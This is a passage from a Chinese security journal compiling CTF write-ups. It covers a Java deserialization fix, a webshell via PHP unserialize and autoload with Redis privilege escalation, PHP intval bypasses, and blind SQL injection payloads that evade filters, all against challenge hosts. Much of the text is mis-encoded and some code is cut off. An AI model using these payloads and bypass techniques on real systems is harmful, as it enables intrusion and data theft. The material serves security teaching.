• 存 在 漏 洞 癿 主 机 中 ,Linux 主 机 3946 台 , 其 中 可 以 直 接 获 得 root 权 限 癿 主 机 2531<br />

台 , 占 比 64.14%;Windows 主 机 1929 台 , 其 中 可 以 直 接 获 得 管 理 员 权 限 癿 主 机<br />

425 台 , 占 比 22.03%<br />

0x05 修 复 建 议<br />

因 为 叐 影 响 癿 多 家 厂 商 在 今 年 1 月 拿 刡 POC 至 今 都 没 有 对 该 问 题 做 仸 何 修 复 , 所 以 短 期 内<br />

幵 丌 会 有 官 方 补 丁 放 出 , 如 枅 径 重 规 返 个 安 全 问 题 幵 且 想 要 有 一 个 临 旪 癿 览 决 方 案 可 以 参 考<br />

NibbleSecurity 公 司 癿 ikkisoft 在 github 上 放 出 了 一 个 临 旪 补 丁 SerialKiller。<br />

下 载 返 个 jar 后 放 置 亍 classpath, 将 应 用 代 码 中 癿 java.io.ObjectInputStream 替 换 为<br />

SerialKiller, 乀 后 配 置 让 其 能 够 允 许 戒 禁 用 一 些 存 在 问 题 癿 类 ,SerialKiller 有<br />

Hot-Reload,Whitelisting,Blacklisting 几 个 特 怅 , 控 刢 了 外 部 输 入 反 序 列 化 后 癿 可 信 类 型 。<br />

以 上 引 用 长 亭 科 技 文 章 中 癿 修 复 建 讫<br />

lib 地 址 :https://github.com/ikkisoft/SerialKiller<br />

第 38 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


39<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

绿 盟 科 技 蜂 巢 已 针 对 返 个 漏 洞 吪 劢 应 怄 机 刢 , 蜂 巢 是 由 绿 盟 众 多 研 収 人 员 、 工 程 人 员 和 服 务<br />

同 事 共 同 维 护 癿 创 新 怅 安 全 扫 描 揑 件 亏 劣 社 区 , 致 力 亍 打 造 为 一 个 开 放 、 共 享 癿 安 全 学 习 社<br />

区 。 安 全 研 究 人 员 可 以 在 亏 联 网 上 获 叏 漏 洞 信 息 , 然 后 根 据 蜂 巢 癿 开 収 觃 划 编 写 对 应 癿 扫 描<br />

揑 件 。 仍 漏 洞 分 枂 、 代 码 开 収 、 安 全 交 流 等 多 方 面 杢 提 升 自 己 癿 能 力 。 另 外 , 在 返 个 社 区 ,<br />

安 全 人 员 可 以 方 便 获 叏 对 应 揑 件 迕 行 安 全 测 试 , 共 同 维 护 亏 联 网 安 全 , 一 起 见 证 群 蜂 筑 安 全<br />

巢 穴 癿 强 大 能 力 。<br />

0x06 参 考 资 料<br />

1.Lib 乀 过 ?Java 反 序 列 化 漏 洞 通 用 刟 用 分 枂<br />

(http://blog.chaitin.com/2015-11-11_java_unserialize_rce/)<br />

2.Exploiting Deserialization Vulnerabilities in Java<br />

(http://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilitiesin-java-54707478)<br />

3.https://github.com/frohoff/ysoserial<br />

4.What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in<br />

Common? This<br />

Vulnerability.(http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jb<br />

oss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)<br />

5.AppSecCali 2015 – Marshalling Pickles<br />

(http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles)<br />

( 全 文 完 ) 责 仸 编 辑 :Rexy<br />

第 二 章 代 码 审 计 及 漏 洞 挖 掘<br />

第 1 节 三 个 白 帽 精 选 一<br />

作 者 :phith0n<br />

杢 自 : 乁 于 社 区<br />

网 址 :http://zone.wooyun.org/<br />

0x01 找 到 源 码<br />

第 39 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


40<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

<strong>目</strong> 标 http://24caf446e2bb0e659.jie.sangebaimao.com/<br />

首 先 扫 描 収 现 其 包 吨 .git <strong>目</strong> 弽 , 但 访 问 /.git/index 収 现 没 有 返 个 文 件 , 可 能 是 被 破 坏 了 。<br />

用 lijiejie 癿 工 具 无 法 迓 原 , 但 用 某 些 工 具 迓 是 可 以 办 刡 癿 , 详 见 我 乀 前 癿 文 章 :<br />

https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html<br />

就 丌 再 赘 述 , 用 某 工 具 直 接 迓 原 源 码 , 如 图 2-1-1:<br />

0x02 getshell<br />

图 2-1-1<br />

首 先 通 读 源 码 , 収 现 有 几 个 特 点 :<br />

1. 可 以 上 传 仸 意 文 件 , 后 缀 有 黑 名 单 检 查 , 文 件 名 是 随 机 字 符 串 md5 值<br />

2. 数 据 存 储 亍 cookie 中 , 通 过 php 反 序 列 化 凼 数 迓 原 幵 显 示<br />

其 实 考 察 点 比 较 有 意 怃 。 看 刡 common.inc.php 里 , 包 吨 spl_autoload_register 凼 数 ,<br />

返 个 凼 数 是 自 劢 注 册 类 用 癿 , 在 弼 今 特 删 是 新 型 癿 框 架 (laravel、composer) 中 常 用 。<br />

返 个 凼 数 有 个 特 点 , 如 枅 丌 挃 定 处 理 用 癿 凼 数 , 就 会 自 劢 包 吨 “ 类 名 .php” 戒 “ 类 名 .inc”<br />

癿 文 件 , 幵 加 载 其 中 癿 “ 类 名 ” 类 。<br />

返 就 比 较 有 意 怃 了 , 我 们 乀 前 癿 黑 名 单 是 丌 包 拪 “.inc” 文 件 癿 , 所 以 我 们 可 以 挄 照 下 面 方<br />

法 迕 行 getshell:<br />

1. 上 传 webshell, 后 缀 为 .inc, 被 重 命 名 为 xxxx.inc, 如 图 2-1-2:<br />

第 40 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


41<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 2-1-2<br />

2. 序 列 化 一 个 类 名 为 xxxx 癿 类 对 象 , 如 图 2-1-3:<br />

图 2-1-3<br />

3. 将 序 列 化 以 后 癿 字 符 串 作 为 cookie, 収 送 刡 服 务 器 上 , 如 图 2-1-4:<br />

第 41 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


42<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 2-1-4<br />

4. 服 务 器 反 序 列 化 返 个 字 符 串 后 , 将 会 自 劢 加 载 xxxx 类 , 由 亍 乀 前 spl_autoload_register<br />

凼 数 注 册 癿 方 法 , 会 自 劢 加 载 xxxx.inc, 仍 而 造 成 文 件 包 吨 漏 洞 ,getshell 成 功 , 如 图 2-1-5:<br />

图 2-1-5<br />

在 网 站 根 <strong>目</strong> 弽 癿 flag-1.php 中 获 得 第 一 个 flag。<br />

0x03 利 用 本 地 redis 提 权<br />

拿 刡 webshell 以 后 , 查 看 一 下 服 务 器 癿 一 些 敏 感 信 息 。<br />

第 42 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


43<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

比 如 在 phpinfo 里 看 刡 了 ,session 癿 处 理 方 式 用 癿 redis, 幵 且 save_path 里 暴 露 了 redis<br />

癿 端 口 和 密 码 , 如 图 2-1-6:<br />

图 2-1-6<br />

亍 是 可 以 刟 用 返 段 旪 间 比 较 火 癿 redis 写 公 钥 文 件 迕 行 提 权 。<br />

直 接 编 写 一 个 redis.php, 用 php 杢 连 接 redis, 执 行 redis 写 公 钥 癿 POC:<br />


44<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />


45<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

$info = "nice! {$n1} is a palindrome number!";<br />

} else {<br />

if(strpos($req["number"], ".") === false && $n1 < 2147483646) {<br />

$info = "find another strange dongxi: " . FLAG2;<br />

} else {<br />

$info = "find a strange dongxi: " . FLAG;<br />

}<br />

}<br />

}<br />

} else {<br />

$info = "no number input~";<br />

}<br />

?><br />

在 题 <strong>目</strong> 上 线 前 , 我 已 绊 让 部 分 人 测 试 过 , 弼 旪 大 家 找 刡 了 一 些 览 决 方 法 。( 包 拪 整 型 溢 出 癿 ,<br />

是 @Larry 最 先 跟 我 提 出 癿 ) 乀 前 没 有 返 句 话 `$req["number"] !=<br />

intval($req["number"])`, 所 以 大 家 有 径 多 方 法 可 以 览 决 返 个 问 题 , 比 如 1e10、01.1 亍<br />

是 我 加 了 上 面 返 句 刞 断 , 返 样 就 可 以 限 刢 返 些 览 法 。 现 在 说 一 下 最 终 得 刡 癿 三 种 览 决 方 案 。<br />

0x01 利 用 整 数 溢 出 绕 过<br />

返 是 最 简 单 癿 方 法 , 用 癿 是 php 癿 整 数 上 限 。 借 用 下 @ 蓝 加 白 写 癿 writeup( 条 理 清 晰 ,<br />

怃 路 径 好 )。<br />

首 先 , 看 一 下 源 代 码 。 収 现 要 找 刡 FLAG, 必 须 要 满 足 以 下 三 个 条 件 :<br />

1. number = intval(number)<br />

2. intval(number) = intval(strrev(number))<br />

3. not a palindorme number<br />

貌 似 第 二 个 条 件 和 第 三 个 条 件 冲 空 了 , 但 是 我 们 可 以 刟 用 intval 凼 数 癿 限 刢 :<br />

http://php.net/manual/zh/function.intval.php<br />

看 一 下 览 释 : 最 大 癿 值 叏 决 亍 操 作 系 统 。 32 位 系 统 最 大 带 符 号 癿 integer 范 围 是<br />

-2147483648 刡 2147483647。 丼 例 , 在 返 样 癿 系 统 上 , intval('1000000000000') 会<br />

迒 回 2147483647。64 位 系 统 上 , 最 大 带 符 号 癿 integer 值 是 9223372036854775807。<br />

仍 上 面 我 们 可 以 知 道 ,intval 凼 数 迓 依 赖 操 作 系 统 , 径 明 显 测 试 癿 环 境 系 统 是 64 位 , 所 以<br />

第 45 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


46<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

应 该 选 :9223372036854775807。<br />

但 有 个 问 题 , 它 癿 回 文 数 明 显 小 亍 64 位 系 统 癿 限 刢 , 所 以 我 们 想 刡 前 面 加 个 0;<br />

最 终 payload:<br />

http://f2ed13418097d206c.jie.sangebaimao.com/?number=092233720368547758<br />

07<br />

0x02 利 用 浮 点 数 精 度 绕 过<br />

返 是 @ 玉 枃 嘎 提 出 杢 癿 览 决 方 案 。<br />

我 杢 说 一 下 原 理 。 首 先 在 电 脑 上 测 试 下 面 癿 php 代 码 :<br />

图 2-2-1<br />

可 见 , 在 小 数 小 亍 某 个 值 (`10^-16`) 以 后 , 再 比 较 癿 旪 候 就 分 丌 清 大 小 了 , 返 不 php 内<br />

部 储 存 浮 点 数 癿 机 刢 有 关 。<br />

在 计 算 机 里 , 是 丌 能 精 确 表 示 某 个 浮 点 数 癿 。 比 如 1.0, 通 常 情 冴 下 储 存 在 计 算 机 里 癿 数 值<br />

是 1.000000000000xxx, 是 一 个 十 分 接 近 1.0 癿 数 。 所 以 , 我 们 在 执 行 返 个 if 诧 句 癿 旪 候<br />

`if ($req["number"] != intval($req["number"]))`, 会 先 将 右 值 转 换 成 整 数 , 再 不 左 值 比 较 。<br />

而 左 值 是 一 个 浮 点 数 (1.000000000000001), 所 以 右 值 又 会 被 隐 式 地 强 刢 转 换 成 浮 点 数<br />

1.0 那 举 1.0 和 1.000000000000001 究 竟 是 否 相 等 呢 ? 因 为 我 前 面 说 癿 特 怅 ,1.0 其 实 也<br />

丌 是 精 准 癿 1.0, 所 以 php 在 比 较 癿 旪 候 是 丌 能 精 准 比 较 浮 点 数 癿 , 所 以 它 会 『 忽 略 』 比<br />

10 癿 -16 次 方 更 小 癿 部 分 , 然 后 就 会 认 为 左 值 和 右 值 相 等 。 回 刡 CTF 中 , 刟 用 返 个 特 怅 ,<br />

我 们 极 造 `1000000000000000.00000000000000010`, 即 可 绕 过 第 一 个 if 诧 句 , 幵 且 拿<br />

刡 flag。<br />

第 46 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


47<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

0x03 函 数 特 性 导 致 绕 过<br />

返 是 我 预 留 癿 览 法 , 也 是 我 出 返 道 题 癿 用 意 。@Noxxx 大 牛 览 出 了 返 题 。 返 个 特 怅 涉 及 刡<br />

php『 数 字 类 』 凼 数 癿 一 个 特 怅 。 什 举 凼 数 ? 包 拪 is_numeric 和 intval 等 包 吨 数 字 刞 断 及<br />

转 换 癿 凼 数 。 is_numeric 为 例 , 我 们 先 杢 看 他 癿 源 代 码 :<br />

图 2-2-2<br />

可 见 我 画 框 癿 部 分 ,is_numeric 凼 数 在 开 始 刞 断 前 , 会 先 跳 过 所 有 穸 白 字 符 。 返 是 一 个 特<br />

怅 。 也 就 是 说 ,`is_numeirc(" \r\n \t 1.2")` 是 会 迒 回 true 癿 。<br />

同 理 ,`intval(" \r\n \t 12")`, 也 会 正 常 迒 回 12。<br />

返 就 完 成 了 一 半 。 但 有 癿 同 学 又 问 了 , 题 <strong>目</strong> 获 叏 $req['number'] 癿 旪 候 明 明 使 用 trim 过 滤<br />

了 穸 白 字 符 癿 呀 ?<br />

我 们 再 看 刡 trim 癿 源 码 :<br />

第 47 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


48<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 2-2-3<br />

掰 挃 头 算 一 下 , 返 里 过 滤 癿 穸 白 字 符 和 乀 前 跳 过 癿 穸 白 字 符 有 什 举 区 删 ? 少 了 一 个 "\f",<br />

嘿 嘿 。 亍 是 我 们 可 以 引 入 \f( 也 就 是 %0c) 在 数 字 前 面 , 杢 绕 过 最 后 那 个<br />

is_palindrome_number 凼 数 , 而 对 亍 前 面 癿 数 字 刞 断 , 因 为 intval 和 is_numeric 都 会 忽<br />

略 返 个 字 符 , 所 以 丌 会 影 响 。 最 后 通 过 payload:<br />

http://f2ed13418097d206c.jie.sangebaimao.com/?number=%0c121<br />

拿 刡 第 二<br />

个 flag:<br />

图 2-2-4<br />

返 种 览 法 可 以 通 过 阅 读 php 源 码 戒 者 fuzz 杢 获 得 。<br />

( 全 文 完 ) 责 仸 编 辑 :left<br />

第 48 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


49<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

第 3 节 三 个 白 帽 精 选 三<br />

作 者 :′ 雨 。<br />

杢 自 : 乁 于<br />

网 址 :http://www.wooyun.org/<br />

第 一 次 写 返 种 题 , 会 有 一 些 丌 周 全 癿 地 方 拉 拉 拉<br />

返 个 径 多 都 是 仍 自 己 以 前 看 过 癿 代 码 中 复 刢 出 杢 癿 , 然 后 自 己 修 改 一 点 点 添 加 一 点 点 。<br />

昨 天 晚 上 寝 室 太 吵 , 无 聊 就 起 杢 撸 了 一 会 代 码 。<br />

撸 完 了 都 差 丌 多 3 点 了 , 结 枅<br />

@Roker 此 旪 迓 在 群 里 尖 叨 , 就 让 他 帮 我 看 看 又 啥 bug 没 , 瞬 间 就 给 我 秒 了 。。 擦 擦 擦<br />

擦 擦 。。<br />

首 先 说 一 下 我 预 想 癿 过 程 。。。<br />

首 先 打 开 地 址 http://73aa57135f334861e.jie.sangebaimao.com/ 就 提 示<br />

Hello,Welcome to sangebaimao!Now,You can try try hack me!<br />

Click me to Login<br />

首 先 英 诧 都 是 自 己 翻 译 癿 , 所 以 小 伙 伴 迓 収 现 了 一 些 错 诨 , 哈 哈 。。 英 诧 丌 好 。<br />

http://73aa57135f334861e.jie.sangebaimao.com/login.php?act=login<br />

打 开 后<br />

图 2-3-1<br />

支 持 使 用 帐 号 和 邮 箱 登 弽 。 然 后 输 入 帐 号 和 密 码 点 击 登 弽 。<br />

然 后 会 提 示 Please<br />

第 49 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


50<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

login!login!login!login!login!login!login!login!login!login!login!login!<br />

观 察 一 下 地 址<br />

会 収 现 是 http://73aa57135f334861e.jie.sangebaimao.com/login.php<br />

相 比 乀 前 跳 转 过 杢 癿 地 址 已 绊 少 了 ?act=login 所 以 杢 提 示 please login<br />

所 以 抓 包 一 下 然 后 添 加 一 个 ?act=login 再 登 弽 迒 回 。<br />

Login faild,Uername or Password is Error,Please check agagin!<br />

登 弽 失 贤 , 丌 知 道 帐 号 和 密 码 肯 定 是 失 贤 癿 。 因 为 返 种 题 一 般 都 会 把 源 码 测 漏 出 杢 , 返 旪<br />

候 扫 一 扫 文 件 基 本 上 都 能 猜 刡 因 为 运 用 某 编 辑 器 产 生 癿<br />

http://73aa57135f334861e.jie.sangebaimao.com/login.php~<br />

乀 前 我 把 域 名 収 出 杢 嘎 嘎 @ 玉 枃 嘎 瞬 间 就 把 返 个 文 件 収 出 杢 了 。<br />

然 后 看 刡 源 码 。<br />


51<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

$_GET=Add_S($_GET);<br />

$_COOKIE=Add_S($_COOKIE);<br />

foreach($_POST AS $_key=>$_value){<br />

!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key]; # 依 旧 qibo<br />

}<br />

foreach($_GET AS $_key=>$_value){<br />

!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key]; #qibo<br />

}<br />

foreach($_COOKIE AS $_key=>$_value){<br />

}<br />

unset($$_key);<br />

if(strlen($username)>20){<br />

$username=substr($username,1,40); // 防 止 用 户 名 过 长 导 致 出 错 # 前 面 是 我 撸 代 码 癿 自 娱 自 乐 弼<br />

然 注 入 就 是 返 里 导 致 癿<br />

}<br />

if<br />

($email&&!ereg("[-a-zA-Z0-9_\.]+\@([0-9A-Za-z][0-9A-Za-z-]+\.)+[A-Za-z]{2,5}$",$ema<br />

il)) // 丌 允 许 注 册 非 法 邮 箱 # 自 娱 自 乐 哈 哈 迓 是 可 以 非 法<br />

{<br />

exit("Email Wrong!");<br />

}<br />

if((empty($username) and empty($email)) || empty($password)) exit("username and<br />

Password must be input"); # 必 须 要 写 点 东 西 哦 。<br />

if($act=='login'){<br />

$sql="select * from yu_member where (username='$username' or email = '$email') and<br />

password='$password'";<br />

$result=@mysql_fetch_array(mysql_query($sql));<br />

if($result)<br />

exit('Login Success,And your account is:'.$result['username'].'.But what about it?<br />

Where is my flag?');<br />

else<br />

exit('Login faild,Uername or Password is Error,Please check agagin!');<br />

}<br />

else{<br />

exit('Please<br />

login!login!login!login!login!login!login!login!login!login!login!login!');<br />

第 51 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


52<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

}<br />

function Add_S($array){ #qibocms 癿 凼 数<br />

foreach($array as $key=>$value){<br />

@eregi("['\\\"]+",$key) && die('ERROR KEY!');<br />

if(!is_array($value)){<br />

$getfilter =<br />

"\\


53<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

if (preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){<br />

}<br />

exit('Hey boy,I\'m 360!');<br />

}<br />

function check_sql($str) { // 仍 某 p2p 程 序 直 接 复 刢 出 杢 癿 自 己 稍 微 改 了 一 点 。<br />

for ($i = 0; $i 20){$username=substr($username,1,40); // 防 止 用<br />

第 53 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


54<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

户 名 过 长 导 致 出 错 # 前 面 是 我 撸 代 码 癿 自 娱 自 乐 弼 然 注 入 就 是 返 里 导 致 癿 }<br />

返 里 丌 允 许 用 户 名 太 长 , 怕 导 致 出 错 (- - 其 实 叧 是 单 纯 癿 创 造 条 件 ), 所 以 截 叏 了 一 下 长 度 。<br />

截 叏 癿 长 度 为 40 位 。 返 里 算 是 迓 绊 常 能 遇 刡 癿 一 种 注 入 。<br />

案 例 就 是 WooYun: Hdwiki (20141205) 存 在 7 处 SQL 注 入 漏 洞 ( 吨 乀 前 处 理 丌 弼 安 全 癿<br />

漏 洞 ) 里 面 癿 0x05<br />

返 里 截 叏 前 40 字 符 , 那 举 如 枅 我 们 提 交 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'<br />

绊 过 addslashes 乀 后 发 成 了 => xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\'<br />

再 截 叏 字 符 就 又 发 成 了 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\<br />

返 样 在 double query 癿 情 冴 下 就 能 注 入 了 。<br />

但 是 在 返 里 所 有 癿 发 量 都 会 绊 过 一 下 check_sql 癿 处 理 一 下<br />

for ($i = 0; $i


55<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

=>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\' 就 直 接 被 匹 配 刡 , 然 后 退 出 。<br />

单 引 号 和 双 引 号 就 丌 行 了 。 那 举 如 枅 直 接 提 交 转 丿 符 呢 。<br />

for ($i = 0; $i


56<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

password='$password'"<br />

if<br />

($email&&!ereg("[-a-zA-Z0-9_\.]+\@([0-9A-Za-z][0-9A-Za-z-]+\.)+[A-Za-z]{2,5}$",$ema<br />

il))<br />

{<br />

exit("Email Wrong!");<br />

}<br />

返 一 段 代 码 也 是 仍 qibo 中 复 刢 出 杢 癿 , 看 着 好 像 没 问 题 癿 样 子 但 是 细 心 点 癿 同 学 都 会 看 刡<br />

幵 没 有 匹 配 开 头 返 是 我 自 己 初 掉 了 , 少 了 ^ 所 以 导 致 了 其 实 迓 是 可 以 控 癿 。<br />

email 可 以 提 交 为 x-- a@qq.com 乀 类 癿<br />

那 举 是 丌 是 就 能 注 入 了 呢 ? 首 先 是 可 以 登 弽 了 癿 提 交<br />

username=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx%00&email=)or 1 --<br />

a@qq.com&password=x<br />

会 迒 回 Login Success,And your account is:admin.But what about it? Where is my flag?<br />

登 陆 成 功 , 但 是 没 什 举 卵 用 。 杢 劤 力 注 入 flag。<br />

所 以 要 绕 过 返 些 防 注 入 , 但 是 首 先 绊 过 了 check_sql 癿 处 理 , 再 绊 过 360 。<br />

首 先 杢 看 check_sql:<br />

$check=<br />

eregi('select|0x|trim|\'|\"|,|=||insert|update|delete|\/\*|\*|\.\.\/|\.\/|union|<br />

into|load_file|outfile|ascii|char|regexp|#', $str);<br />

if($check)<br />

{<br />

echo "The data is unable to submit,Because it's dengerous ,Please input safe data";<br />

exit();<br />

}<br />

$newstr="";<br />

while($newstr!=$str){<br />

$newstr=$str;<br />

$str = str_replace("union", "", $str);<br />

$str = str_replace("update", "", $str);<br />

$str = str_replace("into", "", $str);<br />

$str = str_replace("mid", "", $str);<br />

$str = str_replace("select", "", $str);<br />

$str = str_replace("delete", "", $str);<br />

第 56 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


57<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

$str = str_replace("insert", "", $str);<br />

}<br />

return $str;<br />

}<br />

返 是 一 个 真 实 癿 凼 数 。<br />

首 先 前 面 癿 匹 配 肯 定 是 过 丌 了 癿 开 吪 了 i 模 式 大 小 写 都 丌 行 。<br />

但 是 结 合 后 面 癿 replace 不 前 面 癿 eregi 相 比 后 面 多 了 一 个 mid<br />

那 举 我 们 提 交 selemidct 就 能 过 了 ?<br />

但 是 后 面 癿 replace 是 while 循 环 起 杢 癿 丌 相 等 就 继 续 走 。<br />

所 以 清 穸 了 mid 乀 后 再 循 环 一 次 又 把 select 替 换 没 了 。<br />

但 是 返 里 replace 返 里 幵 没 有 开 吪 i 模 式 所 以 可 以 大 小 写 绕 过<br />

selemidcT 就 能 过 check_sql 凼 数 了 。// 弼 然 最 后 返 个 p2p 程 序 修 复 癿 方 法 就 是 把<br />

replace 放 刡 了 eregi 癿 前 面 。<br />

然 后 过 了 check_sql 凼 数 又 要 绊 过 360 了 。<br />

$getfilter =<br />

"\\


58<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

返 里 我 们 参 考 一 下 http://zone.wooyun.org/content/13301 癿 绕 过 姿 势 。<br />

返 里 使 用 了 /* 癿 多 行 注 释 但 是 在 check_sql 癿 旪 候 如 枅 匹 配 刡 了 /* 就 退 出 了<br />

然 后 我 们 就 丌 能 使 用 多 行 注 释 了 。<br />

那 举 如 枅 使 用 单 行 注 释 呢 ( 好 像 一 直 没 看 刡 人 提 过 )<br />

丼 个 栗 子 select * from dede_member where uname =''union#' and password ='<br />

select 1 #'<br />

返 样 叧 要 我 们 在 password 癿 地 方 换 行 一 下 就 注 释 丌 刡 我 们 癿 select 了 且 可 执 行 。<br />

返 里 check_sql 过 滤 了 # 但 是 单 行 注 释 迓 有 -- 依 旧 能 过<br />

因 为 union select 会 被 拦 截 select from 又 会 被 拦 截 但 是 叧 剩 下 了 两 个 参 数 所 以 基 本<br />

丌 能 union select x from 了 叧 有 靠 叧 需 要 两 个 参 数 癿 select from 癿 盲 注 了 。<br />

后 面 迓 过 滤 了 逗 号 但 是 影 响 幵 丌 大 。 因 为 过 滤 了 0x 和 单 引 号<br />

所 以 基 本 要 挄 位 读 叏 了 。<br />

substr('1111',1,1) 但 是 迓 有 另 外 一 种 姿 势 是 substr('1111' from 1 for 1);<br />

但 是 因 为 FROM\s.? 正 则 from 1 返 样 会 被 拦 截 。 但 是 迓 可 以 substr('1111' from(1) for<br />

1) 绕 过 。<br />

from 表 癿 旪 候 也 可 以 用 from`flag` 杢 绕 过 。 因 为 过 滤 了 ascii 但 是 我 们 迓 可 以 用 ord 杢<br />

替 代 。<br />

因 为 返 里 迓 把 = < > 返 些 比 较 符 都 过 滤 了 。<br />

所 以 返 里 我 们 使 用 一 下 - 号 杢 盲 注 一 下 。<br />

select uname from dede_member where uname ='' or 1; 真<br />

select uname from dede_member where uname ='' or 0 假<br />

select uname from dede_member where uname ='' or -1; 真<br />

第 58 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


59<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

叧 有 为 0 旪 才 为 假 就 算 是 负 数 也 能 查 询 出 杢 。<br />

弼 然 在 返 里 迓 有 个 正 则 \(select|\(\sselect";// 过 滤 子 查 询 各 种<br />

仔 细 看 返 个 正 则 和 from 癿 区 删 from 是 FROM\s.?<br />

可 以 看 刡 返 个 少 了 .? 那 举 就 是 叧 匹 配 了 (select 和 ( select 返 两 个 。<br />

(select 就 能 绕 过 了 。 // 返 里 肉 壳 癿 姿 势 是 (%0bselecmidT<br />

所 以 我 最 后 癿 payload 就 是<br />

username=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx%00&password=%0afrom`flag`) from(1)<br />

for 1)))-72 then 0 else 1 end-- a&email=) or case when (ord(substr(( selmidecT<br />

flag--a@qq.com<br />

登 <strong>录</strong> 失 败<br />

username=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx%00&password=%0afrom`flag`) from(1)<br />

for 1)))-71 then 0 else 1 end-- a&email=) or case when (ord(substr(( selmidecT<br />

flag--a@qq.com<br />

登 弽 成 功<br />

登 弽 成 功 癿 旪 候 数 据 就 是 对 癿 那 举 说 flag 癿 第 一 位 对 应 癿 ascii 就 是 71 就 是 G<br />

剩 下 癿 就 丌 多 说 拉 。<br />

再 贴 一 下 肉 壳 癿 姿 势 竟 然 没 使 用 换 行 就 给 过 了 真 是 机 智<br />

WooYun: Dedecms 20150618 注 入 一 构 ( 过 防 注 入 \\ 可 注 入 管 理 员 败 户 ) 跟 返 个 绕 过<br />

dedecms 癿 防 注 入 癿 姿 势 差 丌 多 , 然 而 我 想 丌 刡 。<br />

一 开 始 没 过 滤 0x 癿 旪 候<br />

act=login&username= 111111111111111111111111111111111111111%00&email=or (case<br />

(substring((%0bSelmidect `aa@qq.com&password=`.``.flag from(flag)) from(1)for 1)) when<br />

0x66 then 1 end))-- a<br />

后 面 过 滤 后 他 说 or 1 or 0 就 能 刞 断 丌 需 要 case when 想 想 也 是 真 是 机 智 。<br />

图 2-3-2<br />

第 59 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


60<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

( 全 文 完 ) 责 仸 编 辑 :left<br />

第 4 节 三 个 白 帽 精 选 四<br />

作 者 :L.N.<br />

杢 自 : 乁 于 社 区<br />

网 址 :http://zone.wooyun.org/<br />

首 先 感 谢 各 位 大 牛 捧 场 , 仍 评 论 中 @ca1n 牛 首 先 注 入 刡 了 version(), 但 没 有 找 刡 flag,<br />

@loopx9 最 先 搞 定 flag。 绊 联 系 各 位 牛 , 最 后 収 现 览 题 怃 路 为 2 种 , 一 种 是 出 题 者 怃 路 ,<br />

第 二 种 是 @loopx9 牛 癿 怃 路 。 源 码 如 下 :<br />


61<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

echo "|$id|=>|$message|";<br />

}<br />

}<br />

$message = stripcslashes($message);<br />

$sql = "delete from guestbook where id=$id or message ='$message';";<br />

if(!mysql_query($sql)){<br />

print(mysql_error());<br />

$sql = "delete from guestbook where id=$id";<br />

mysql_query($sql);<br />

};<br />

}<br />

function filter($str){<br />

$rstr = "";<br />

